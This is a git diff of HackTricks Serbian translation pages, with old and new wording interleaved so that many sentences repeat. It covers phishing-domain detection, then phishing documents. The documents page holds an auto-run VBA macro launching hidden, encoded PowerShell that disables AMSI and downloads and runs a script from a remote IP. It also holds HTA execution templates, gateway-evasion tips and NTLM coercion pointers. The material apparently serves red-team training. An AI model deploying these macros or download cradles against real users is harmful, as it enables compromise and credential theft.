<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
Drugi načini podrške HackTricks-u: * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite svoju **kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}
## Uvod ## Uvod
Da biste otkrili pokušaj phishinga, važno je **razumeti tehnike phishinga koje se danas koriste**. Na roditeljskoj stranici ovog posta, možete pronaći te informacije, pa ako niste upoznati sa tehnikama koje se danas koriste, preporučujem vam da odete na roditeljsku stranicu i pročitate barem tu sekciju. Da biste otkrili pokušaj phishing-a, važno je **razumeti phishing tehnike koje se danas koriste**. Na roditeljskoj stranici ovog posta možete pronaći te informacije, pa ako niste upoznati sa tehnikama koje se danas koriste, preporučujem da odete na roditeljsku stranicu i pročitate barem taj deo.
Ovaj post se zasniva na ideji da će **napadači pokušati na neki način da oponašaju ili koriste ime domena žrtve**. Ako je vaš domen nazvan `primer.com` i ako ste prevareni korišćenjem potpuno drugačijeg imena domena iz nekog razloga kao što je `osvojiliste.com`, ove tehnike to neće otkriti. Ovaj post se zasniva na ideji da će **napadači pokušati na neki način da imituju ili koriste ime domena žrtve**. Ako je vaš domen nazvan `example.com` i vi ste phishing-ovani koristeći potpuno drugačije ime domena, kao što je `youwonthelottery.com`, ove tehnike neće otkriti to.
## Varijacije imena domena ## Varijacije imena domena
Prilično je **jednostavno** otkriti te **pokušaje phishinga** koji će koristiti **slično ime domena** unutar emaila.\ Relativno je **lako** da se **otkriju** ti **phishing** pokušaji koji će koristiti **sličan naziv domena** unutar email-a.\
Dovoljno je **generisati listu najverovatnijih phishing imena** koje bi napadač mogao koristiti i **proveriti** da li je **registrovano** ili jednostavno proveriti da li postoji neka **IP adresa** koja ga koristi. Dovoljno je **generisati listu najverovatnijih phishing imena** koje napadač može koristiti i **proveriti** da li je **registrovano** ili samo proveriti da li postoji neki **IP** koji ga koristi.
### Pronalaženje sumnjivih domena ### Pronalaženje sumnjivih domena
Za tu svrhu, možete koristiti bilo koji od sledećih alata. Imajte na umu da će ovi alati automatski izvršiti DNS zahteve kako bi proverili da li je domen dodeljen nekoj IP adresi: Za ovu svrhu možete koristiti bilo koji od sledećih alata. Imajte na umu da će ovi alati takođe automatski izvršiti DNS zahteve da provere da li domen ima dodeljen IP:
* [**dnstwist**](https://github.com/elceef/dnstwist) * [**dnstwist**](https://github.com/elceef/dnstwist)
* [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy) * [**urlcrazy**](https://github.com/urbanadventurer/urlcrazy)
@ -36,43 +37,59 @@ Za tu svrhu, možete koristiti bilo koji od sledećih alata. Imajte na umu da ć
**Možete pronaći kratko objašnjenje ove tehnike na roditeljskoj stranici. Ili pročitajte originalno istraživanje na** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/) **Možete pronaći kratko objašnjenje ove tehnike na roditeljskoj stranici. Ili pročitajte originalno istraživanje na** [**https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/**](https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/)
Na primer, modifikacija od 1 bit u domenu microsoft.com može ga transformisati u _windnws.com._\ Na primer, 1-bitna modifikacija u domenu microsoft.com može ga transformisati u _windnws.com._\
**Napadači mogu registrovati što više bit-flipping domena moguće povezanih sa žrtvom kako bi preusmerili legitimne korisnike na svoju infrastrukturu**. **Napadači mogu registrovati koliko god je moguće domena sa bit-flipping vezanim za žrtvu kako bi preusmerili legitimne korisnike na svoju infrastrukturu**.
**Sva moguća imena bit-flipping domena takođe bi trebalo pratiti.** **Svi mogući nazivi domena sa bit-flipping-om takođe bi trebali biti praćeni.**
### Osnovne provere ### Osnovne provere
Kada imate listu potencijalno sumnjivih imena domena, trebalo bi da ih **proverite** (pretežno portove HTTP i HTTPS) da biste **videli da li koriste neki obrazac za prijavljivanje sličan** nekom od domena žrtve.\ Kada imate listu potencijalno sumnjivih imena domena, trebali biste **proveriti** ih (pretežno portove HTTP i HTTPS) da **vidite da li koriste neki obrazac za prijavu sličan** onome sa domena žrtve.\
Takođe možete proveriti port 3333 da vidite da li je otvoren i pokreće instancu `gophish`.\ Takođe možete proveriti port 3333 da vidite da li je otvoren i da li pokreće instancu `gophish`.\
Takođe je interesantno znati **koliko je star svaki otkriven sumnjivi domen**, što je mlađi, to je rizičniji.\ Takođe je zanimljivo znati **koliko je stara svaka otkrivena sumnjiva domena**, što je mlađa, to je rizičnija.\
Možete takođe dobiti **slike ekrana** sumnjive HTTP i/ili HTTPS web stranice da biste videli da li je sumnjiva i u tom slučaju **pristupiti joj da biste detaljnije pogledali**. Možete takođe dobiti **screenshot-ove** sumnjive web stranice HTTP i/ili HTTPS da vidite da li je sumnjiva i u tom slučaju **pristupiti joj da biste detaljnije pogledali**.
### Napredne provere ### Napredne provere
Ako želite da odete korak dalje, preporučio bih vam da **pratite te sumnjive domene i povremeno tražite više** (svaki dan? to traje samo nekoliko sekundi/minuta). Takođe biste trebali **proveriti** otvorene **portove** povezanih IP adresa i **tražiti instance `gophish` ili slične alate** (da, i napadači prave greške) i **pratiti HTTP i HTTPS web stranice sumnjivih domena i poddomena** da biste videli da li su kopirali neki obrazac za prijavljivanje sa web stranica žrtve.\ Ako želite da idete korak dalje, preporučujem da **pratite te sumnjive domene i povremeno tražite više** (svakog dana? to traje samo nekoliko sekundi/minuta). Takođe biste trebali **proveriti** otvorene **portove** povezanih IP-ova i **tražiti instance `gophish` ili sličnih alata** (da, napadači takođe prave greške) i **pratiti HTTP i HTTPS web stranice sumnjivih domena i poddomena** da vidite da li su kopirali neki obrazac za prijavu sa web stranica žrtve.\
Da biste **automatizovali ovo**, preporučio bih da imate listu obrazaca za prijavljivanje domena žrtve, da pretražite sumnjive web stranice i uporedite svaki pronađeni obrazac za prijavljivanje unutar sumnjivih domena sa svakim obrazcem za prijavljivanje domena žrtve koristeći nešto poput `ssdeep`.\ Da biste **automatizovali ovo**, preporučujem da imate listu obrazaca za prijavu domena žrtve, da pretražujete sumnjive web stranice i upoređujete svaki obrazac za prijavu pronađen unutar sumnjivih domena sa svakim obrascem za prijavu domena žrtve koristeći nešto poput `ssdeep`.\
Ako ste locirali obrasce za prijavljivanje sumnjivih domena, možete pokušati da **pošaljete lažne podatke za prijavljivanje** i **proverite da li vas preusmerava na domen žrtve**. Ako ste locirali obrasce za prijavu sumnjivih domena, možete pokušati da **pošaljete lažne kredencijale** i **proverite da li vas preusmerava na domen žrtve**.
## Imena domena sa ključnim rečima ## Imena domena koristeći ključne reči
Roditeljska stranica takođe pominje tehniku varijacije imena domena koja se sastoji od stavljanja **imenja domena žrtve unutar većeg domena** (npr. paypal-financial.com za paypal.com). Roditeljska stranica takođe pominje tehniku varijacije imena domena koja se sastoji od stavljanja **imena domena žrtve unutar većeg domena** (npr. paypal-financial.com za paypal.com).
### Transparentnost sertifikata ### Transparentnost sertifikata
Nije moguće primeniti prethodni "Brute-Force" pristup, ali je zapravo **moguće otkriti takve pokušaje phishinga** zahvaljujući transparentnosti sertifikata. Svaki put kada sertifikat izda CA, detalji postaju javni. To znači da čitanjem transparentnosti sertifikata ili čak praćenjem istog, je **moguće pronaći domene koji koriste ključnu reč unutar svog imena** Na primer, ako napadač generiše sertifikat za [https://paypal-financial.com](https://paypal-financial.com), čitanjem sertifikata je moguće pronaći ključnu reč "paypal" i znati da se koristi sumnjiva email adresa. Nije moguće primeniti prethodni "Brute-Force" pristup, ali je zapravo **moguće otkriti takve phishing pokušaje** takođe zahvaljujući transparentnosti sertifikata. Svaki put kada sertifikat izda CA, detalji se objavljuju. To znači da čitanjem transparentnosti sertifikata ili čak njenim praćenjem, **može se pronaći domene koje koriste ključnu reč unutar svog imena**. Na primer, ako napadač generiše sertifikat za [https://paypal-financial.com](https://paypal-financial.com), gledajući sertifikat moguće je pronaći ključnu reč "paypal" i znati da se koristi sumnjivi email.
Post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugeriše da možete koristiti Censys da pretražujete sertifikate koji utiču na određenu ključnu reč i filtrirati po datumu (samo "novi" sertifikati) i po izdavaču CA "Let's Encrypt": Post [https://0xpatrik.com/phishing-domains/](https://0xpatrik.com/phishing-domains/) sugeriše da možete koristiti Censys da tražite sertifikate koji utiču na određenu ključnu reč i filtrirate po datumu (samo "novi" sertifikati) i po CA izdavaču "Let's Encrypt":
![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>) ![https://0xpatrik.com/content/images/2018/07/cert\_listing.png](<../../.gitbook/assets/image (1115).png>)
Međutim, možete "isto" uraditi koristeći besplatan web [**crt.sh**](https://crt.sh). Možete **pretraživati po ključnoj reči** i **filtrirati** rezultate **po datumu i CA** ako želite. Međutim, možete učiniti "isto" koristeći besplatni web [**crt.sh**](https://crt.sh). Možete **tražiti ključnu reč** i **filtrirati** rezultate **po datumu i CA** ako želite.
![](<../../.gitbook/assets/image (519).png>) ![](<../../.gitbook/assets/image (519).png>)
Koristeći ovu poslednju opciju, čak možete koristiti polje Matching Identities da biste videli da li se bilo koja identifikacija sa pravog domena poklapa sa bilo kojim od sumnjivih domena (imajte na umu da sumnjiv domen može biti lažno pozitivan). Korišćenjem ove poslednje opcije možete čak koristiti polje Matching Identities da vidite da li se neka identitet iz pravog domena poklapa sa bilo kojim od sumnjivih domena (napomena: sumnjivi domen može biti lažno pozitivan).
**Još jedna alternativa** je fantastičan projekat pod nazivom [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream pruža real-time tok novoregistrovanih sertifikata koje možete koristiti za otkrivanje određenih ključnih reči u (neposrednom) realnom vremenu. U stvari, postoji projekat pod nazivom [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) koji to upravo radi.
**Još jedna alternativa** je fantastični projekat nazvan [**CertStream**](https://medium.com/cali-dog-security/introducing-certstream-3fc13bb98067). CertStream pruža real-time tok novo generisanih sertifikata koje možete koristiti da biste detektovali određene ključne reči u (skoro) realnom vremenu. Zapravo, postoji projekat nazvan [**phishing\_catcher**](https://github.com/x0rz/phishing\_catcher) koji upravo to radi.
### **Novi domeni** ### **Novi domeni**
**Još jedna alternativa** je prikupljanje liste **nedavno registrovanih domena** za neke TLD-ove ([Whoxy](https://www.whoxy.com/newly-registered-domains/) pruža takvu uslugu) i **provera ključnih reči u tim domenima**. Međutim, dugi domeni obično koriste jedan ili više poddomena, stoga ključna reč neće se pojaviti unutar FLD i nećete moći pronaći phishing poddomen. **Jedna poslednja alternativa** je da prikupite listu **novoregistrovanih domena** za neke TLD-ove ([Whoxy](https://www.whoxy.com/newly-registered-domains/) pruža takvu uslugu) i **proverite ključne reči u tim domenima**. Međutim, dugi domeni obično koriste jedan ili više poddomena, stoga ključna reč neće biti prisutna unutar FLD-a i nećete moći pronaći phishing poddomen.
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Podržite HackTricks</summary>
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **nas pratite na** **Twitter-u** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>
{% endhint %}

View file

@ -1,48 +1,53 @@
# Phishing Fajlovi & Dokumenti # Phishing Files & Documents
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS ili preuzmete HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)! * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
## Office Dokumenti ## Office Documents
Microsoft Word vrši validaciju podataka fajla pre otvaranja fajla. Validacija podataka se vrši u obliku identifikacije strukture podataka, u skladu sa OfficeOpenXML standardom. Ako dođe do bilo kakve greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren. Microsoft Word vrši validaciju podataka datoteke pre otvaranja datoteke. Validacija podataka se vrši u obliku identifikacije strukture podataka, prema OfficeOpenXML standardu. Ako dođe do bilo kakve greške tokom identifikacije strukture podataka, datoteka koja se analizira neće biti otvorena.
Obično, Word fajlovi koji sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati fajl promenom ekstenzije fajla i dalje zadržati sposobnosti izvršavanja makroa.\ Obično, Word datoteke koje sadrže makroe koriste ekstenziju `.docm`. Međutim, moguće je preimenovati datoteku promenom ekstenzije datoteke i i dalje zadržati sposobnosti izvršavanja makroa.\
Na primer, RTF fajl ne podržava makroe, po dizajnu, ali DOCM fajl preimenovan u RTF će biti obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa.\ Na primer, RTF datoteka ne podržava makroe, po dizajnu, ali DOCM datoteka preimenovana u RTF biće obrađena od strane Microsoft Word-a i biće sposobna za izvršavanje makroa.\
Isti interni mehanizmi se primenjuju na sve softvere Microsoft Office paketa (Excel, PowerPoint itd.). Iste unutrašnje funkcije i mehanizmi se primenjuju na sve softvere iz Microsoft Office Suite (Excel, PowerPoint itd.).
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršene od strane nekih Office programa: Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršene od strane nekih Office programa:
```bash ```bash
assoc | findstr /i "word excel powerp" assoc | findstr /i "word excel powerp"
``` ```
### Eksterni Učitavanje Slike DOCX datoteke koje se pozivaju na udaljeni šablon (Datoteka Opcije Dodaci Upravljanje: Šabloni Idi) koji uključuje makroe mogu takođe “izvršavati” makroe.
Idi na: _Umetanje --> Brze Delove --> Polje_\ ### Učitavanje spoljne slike
_**Kategorije**: Linkovi i Reference, **Nazivi Polja**: includePicture, i **Naziv Fajla ili URL**:_ http://\<ip>/bilošta
Idite na: _Umetni --> Brzi delovi --> Polje_\
_**Kategorije**: Linkovi i reference, **Nazivi polja**: includePicture, i **Naziv datoteke ili URL**:_ http://\<ip>/whatever
![](<../../.gitbook/assets/image (155).png>) ![](<../../.gitbook/assets/image (155).png>)
### Makro Pozadinska Vrata ### Makro zadnja vrata
Moguće je koristiti makroe za pokretanje proizvoljnog koda iz dokumenta. Moguće je koristiti makroe za pokretanje proizvoljnog koda iz dokumenta.
#### Autoload funkcije #### Autoload funkcije
Što su češće, to je veća verovatnoća da će ih AV detektovati. Što su češće, to je verovatnije da će ih AV otkriti.
* AutoOpen() * AutoOpen()
* Document\_Open() * Document\_Open()
#### Primeri Koda Makroa #### Primeri koda makroa
```vba ```vba
Sub AutoOpen() Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=") CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
@ -72,26 +77,26 @@ Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process") Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated> proc.Create "powershell <beacon line generated>
``` ```
#### Ručno uklanjanje metapodataka #### Ručno uklonite metapodatke
Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite na **Inspect**, a zatim na **Remove All** pored **Document Properties and Personal Information**. Idite na **File > Info > Inspect Document > Inspect Document**, što će otvoriti Document Inspector. Kliknite na **Inspect** i zatim **Remove All** pored **Document Properties and Personal Information**.
#### Doc Ekstenzija #### Doc ekstenzija
Kada završite, izaberite opciju **Save as type**, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\ Kada završite, odaberite **Save as type** padajući meni, promenite format sa **`.docx`** na **Word 97-2003 `.doc`**.\
Ovo radite jer **ne možete sačuvati makroe unutar `.docx`** i postoji **stigma** oko ekstenzije sa makroima **`.docm`** (npr. ikona sličica ima veliko `!` i neki web/email gateway ih potpuno blokiraju). Zato je **ova zastarela `.doc` ekstenzija najbolji kompromis**. Uradite to jer **ne možete sačuvati makroe unutar `.docx`** i postoji **stigma** **oko** makro-omogućene **`.docm`** ekstenzije (npr. ikona sličice ima ogromno `!` i neki web/email prolazi ih potpuno blokiraju). Stoga, ova **legacy `.doc` ekstenzija je najbolje rešenje**.
#### Generatori zlonamernih makroa #### Zloćudni generatori makroa
* MacOS * MacOS
* [**macphish**](https://github.com/cldrn/macphish) * [**macphish**](https://github.com/cldrn/macphish)
* [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator) * [**Mythic Macro Generator**](https://github.com/cedowens/Mythic-Macro-Generator)
## HTA Fajlovi ## HTA datoteke
HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "potpuno pouzdana" aplikacija, bez ograničenja sigurnosnog modela pregledača. HTA je Windows program koji **kombinuje HTML i skriptne jezike (kao što su VBScript i JScript)**. Generiše korisnički interfejs i izvršava se kao "potpuno poverljiva" aplikacija, bez ograničenja sigurnosnog modela pretraživača.
HTA se izvršava pomoću **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorerom**, čineći **`mshta` zavistan od IE-a**. Dakle, ako je deinstaliran, HTA fajlovi neće moći da se izvrše. HTA se izvršava koristeći **`mshta.exe`**, koji je obično **instaliran** zajedno sa **Internet Explorer**, čineći **`mshta` zavisnim od IE**. Dakle, ako je deinstaliran, HTA-ovi neće moći da se izvrše.
```html ```html
<--! Basic HTA Execution --> <--! Basic HTA Execution -->
<html> <html>
@ -146,11 +151,11 @@ var_func
self.close self.close
</script> </script>
``` ```
## Prisiljavanje NTLM autentikacije ## Prisiljavanje NTLM autentifikacije
Postoje nekoliko načina da **prisilite NTLM autentikaciju "na daljinu"**, na primer, možete dodati **nevidljive slike** u e-poštu ili HTML koje će korisnik pristupiti (čak i HTTP MitM?). Ili poslati žrtvi **adresu datoteka** koje će **pokrenuti** **autentikaciju** samo za **otvaranje fascikle.** Postoji nekoliko načina da se **prisilite NTLM autentifikaciju "na daljinu"**, na primer, možete dodati **nevidljive slike** u e-mailove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili pošaljite žrtvi **adresu fajlova** koji će **pokrenuti** **autentifikaciju** samo za **otvaranje fascikle.**
**Proverite ove ideje i još mnogo toga na sledećim stranicama:** **Proverite ove ideje i još više na sledećim stranicama:**
{% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %} {% content-ref url="../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md" %}
[printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md) [printers-spooler-service-abuse.md](../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md)
@ -160,21 +165,24 @@ Postoje nekoliko načina da **prisilite NTLM autentikaciju "na daljinu"**, na pr
[places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md) [places-to-steal-ntlm-creds.md](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md)
{% endcontent-ref %} {% endcontent-ref %}
### NTLM Prenos ### NTLM Preusmeravanje
Ne zaboravite da ne možete samo ukrasti heš ili autentikaciju već i **izvršiti napade prenosa NTLM-a**: Ne zaboravite da ne možete samo ukrasti hash ili autentifikaciju, već i **izvršiti NTLM preusmeravanje napade**:
* [**Napadi prenosa NTLM-a**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack) * [**NTLM Preusmeravanje napadi**](../pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md#ntml-relay-attack)
* [**AD CS ESC8 (NTLM prenos na sertifikate)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8) * [**AD CS ESC8 (NTLM preusmeravanje na sertifikate)**](../../windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md#ntlm-relay-to-ad-cs-http-endpoints-esc8)
{% hint style="success" %}
Učite i vežbajte AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Učite i vežbajte GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Podržite HackTricks</summary>
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite da imate pristup **najnovijoj verziji PEASS-a ili preuzmete HackTricks u PDF-u**? Proverite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)! * Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family) * **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com) * **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova u** [**hacktricks repozitorijum**](https://github.com/carlospolop/hacktricks) **i** [**hacktricks-cloud repozitorijum**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}

View file

@ -1,53 +1,55 @@
# Bekstvo iz Python peska i Pyscript # Python Sandbox Escape & Pyscript
{% hint style="success" %}
